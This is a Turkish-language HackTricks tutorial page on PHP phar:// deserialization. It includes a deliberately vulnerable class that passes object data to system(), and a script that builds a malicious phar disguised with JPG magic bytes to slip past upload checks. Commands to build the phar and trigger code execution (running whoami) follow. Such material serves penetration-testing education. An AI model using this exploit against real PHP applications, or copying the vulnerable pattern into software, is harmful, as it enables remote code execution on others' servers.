mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
108 lines
5.3 KiB
Markdown
108 lines
5.3 KiB
Markdown
# phar:// deserialization
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Ödül avı ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan premium bir **ödül avı platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
**Phar** dosyaları (PHP Arşivi) **serileştirilmiş biçimde meta veri içerir**, bu nedenle ayrıştırıldığında bu **meta veri** **serileştirilir** ve **PHP** kodu içinde bir **serileştirme** zafiyetini kötüye kullanmaya çalışabilirsiniz.
|
||
|
||
Bu özelliğin en iyi yanı, bu serileştirme işleminin **file\_get\_contents(), fopen(), file() veya file\_exists(), md5\_file(), filemtime() veya filesize()** gibi PHP kodunu değerlendirmeyen PHP işlevlerini kullanarak bile gerçekleşecek olmasıdır.
|
||
|
||
Dolayısıyla, **`phar://`** protokolünü kullanarak bir PHP web sitesinin bir dosyanın boyutunu almasını sağlayabileceğiniz bir durumu hayal edin ve kod içinde aşağıdaki gibi bir **sınıf** bulursunuz:
|
||
|
||
{% code title="vunl.php" %}
|
||
```php
|
||
<?php
|
||
class AnyClass {
|
||
public $data = null;
|
||
public function __construct($data) {
|
||
$this->data = $data;
|
||
}
|
||
|
||
function __destruct() {
|
||
system($this->data);
|
||
}
|
||
}
|
||
|
||
filesize("phar://test.phar"); #The attacker can control this path
|
||
```
|
||
{% endcode %}
|
||
|
||
**phar** dosyası oluşturabilirsiniz ve yüklendiğinde bu sınıfı kötüye kullanarak şöyle bir şey yapabilirsiniz:
|
||
|
||
{% code title="create_phar.php" %}
|
||
```php
|
||
<?php
|
||
|
||
class AnyClass {
|
||
public $data = null;
|
||
public function __construct($data) {
|
||
$this->data = $data;
|
||
}
|
||
|
||
function __destruct() {
|
||
system($this->data);
|
||
}
|
||
}
|
||
|
||
// create new Phar
|
||
$phar = new Phar('test.phar');
|
||
$phar->startBuffering();
|
||
$phar->addFromString('test.txt', 'text');
|
||
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
||
|
||
// add object of any class as meta data
|
||
$object = new AnyClass('whoami');
|
||
$phar->setMetadata($object);
|
||
$phar->stopBuffering();
|
||
```
|
||
{% endcode %}
|
||
|
||
Not alınan dosyanın başına **JPG'nin sihirli baytları** (`\xff\xd8\xff`) eklenerek **mümkün olabilecek** dosya **yükleme** **kısıtlamaları** **atlatılır**.\
|
||
`test.phar` dosyasını şu şekilde **derleyin**:
|
||
```bash
|
||
php --define phar.readonly=0 create_phar.php
|
||
```
|
||
Ve `whoami` komutunu kötü niyetli kodu istismar ederek çalıştırın:
|
||
```bash
|
||
php vuln.php
|
||
```
|
||
### Referanslar
|
||
|
||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||
|
||
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
|
||
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
|
||
|
||
</details>
|